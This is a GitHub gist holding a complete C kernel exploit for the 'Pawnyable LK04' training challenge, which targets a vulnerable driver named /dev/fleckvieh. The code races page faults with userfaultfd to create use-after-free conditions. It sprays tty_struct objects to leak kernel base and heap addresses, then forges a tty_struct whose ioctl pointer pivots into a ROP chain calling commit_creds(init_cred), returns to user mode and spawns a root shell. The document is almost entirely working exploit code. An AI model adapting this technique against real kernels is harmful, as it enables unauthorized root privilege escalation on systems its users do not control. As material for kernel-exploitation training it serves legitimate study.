Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active January 13, 2023 08:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/a72116a6a308d4a349df65b2a734fa51 to your computer and use it in GitHub Desktop.
Save brant-ruan/a72116a6a308d4a349df65b2a734fa51 to your computer and use it in GitHub Desktop.
Pawnyable LK04
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0
#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)
void fatal(const char *msg) {
perror(msg);
exit(1);
}
typedef struct {
long id;
size_t size;
char *data;
} request_t;
unsigned long user_cs, user_ss, user_sp, user_rflags;
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;
int add(char *data, size_t size) {
request_t req = {.size = size, .data = data};
int r = ioctl(fd, CMD_ADD, &req);
if (r == -1)
fatal("blob_add");
return r;
}
int del(int id) {
request_t req = {.id = id};
int r = ioctl(fd, CMD_DEL, &req);
if (r == -1)
fatal("blob_del");
return r;
}
int get(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_GET, &req);
if (r == -1)
fatal("blob_get");
return r;
}
int set(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_SET, &req);
if (r == -1)
fatal("blob_set");
return r;
}
static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;
puts("[t][*] set cpu affinity");
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
uffd = (long)arg;
puts("[t][*] waiting for page fault");
pollfd.fd = uffd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");
if (read(uffd, &msg, sizeof(msg)) <= 0)
fatal("read(uffd)");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[t][+] caught page fault");
switch (fault_cnt++) {
case 0:
case 1: {
puts("[t][*] UAF read");
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
copy.src = (unsigned long)buf;
break;
}
case 2: {
puts("[t][*] UAF write");
printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
for (int i = 0; i < 0x100; i++)
add(buf, 0x400);
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
copy.src = (unsigned long)buf;
break;
}
default:
fatal("[t][-] unexpected page fault");
}
copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
fatal("ioctl(UFFDIO_COPY)");
}
return NULL;
}
int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;
puts("[*] registering userfaultfd");
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");
puts("[*] spawning a fault handler thread");
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
fatal("pthread_create");
return 0;
}
int main() {
save_userland_state();
puts("[*] set cpu affinity");
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1)
fatal("/dev/fleckvieh");
void *page;
page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
fatal("mmap");
printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);
register_uffd(page, 0x3000);
buf = (char *)malloc(0x1000);
puts("[*] UAF#1 leak kbase");
puts("[*] reading 0x20 bytes from victim blob to page#1");
victim = add(buf, 0x400);
get(victim, page, 0x20);
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
puts("[*] UAF#2 leak kheap");
victim = add(buf, 0x400);
puts("[*] reading 0x400 bytes from victim blob to page#2");
get(victim, page + 0x1000, 0x400);
kheap = *(unsigned long *)(page + 0x1038) - 0x38;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);
puts("[*] crafting fake tty_struct in buf");
memcpy(buf, page + 0x1000, 0x400);
unsigned long *tty = (unsigned long *)buf;
tty[0] = 0x0000000100005401; // magic
tty[2] = *(unsigned long *)(page + 0x10); // dev
tty[3] = kheap; // ops
tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl
puts("[*] crafting rop chain");
unsigned long *chain = (unsigned long *)(buf + 0x100);
*chain++ = 0xdeadbeef; // pop
*chain++ = pop_rdi_ret;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = (unsigned long)&spawn_shell;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
puts("[*] UAF#3 write rop chain");
victim = add(buf, 0x400);
set(victim, page + 0x2000, 0x400);
puts("[*] invoking ioctl to hijack control flow");
for (int i = 0; i < SPRAY_NUM; i++)
ioctl(ptmx[i], 0, kheap + 0x100);
getchar();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment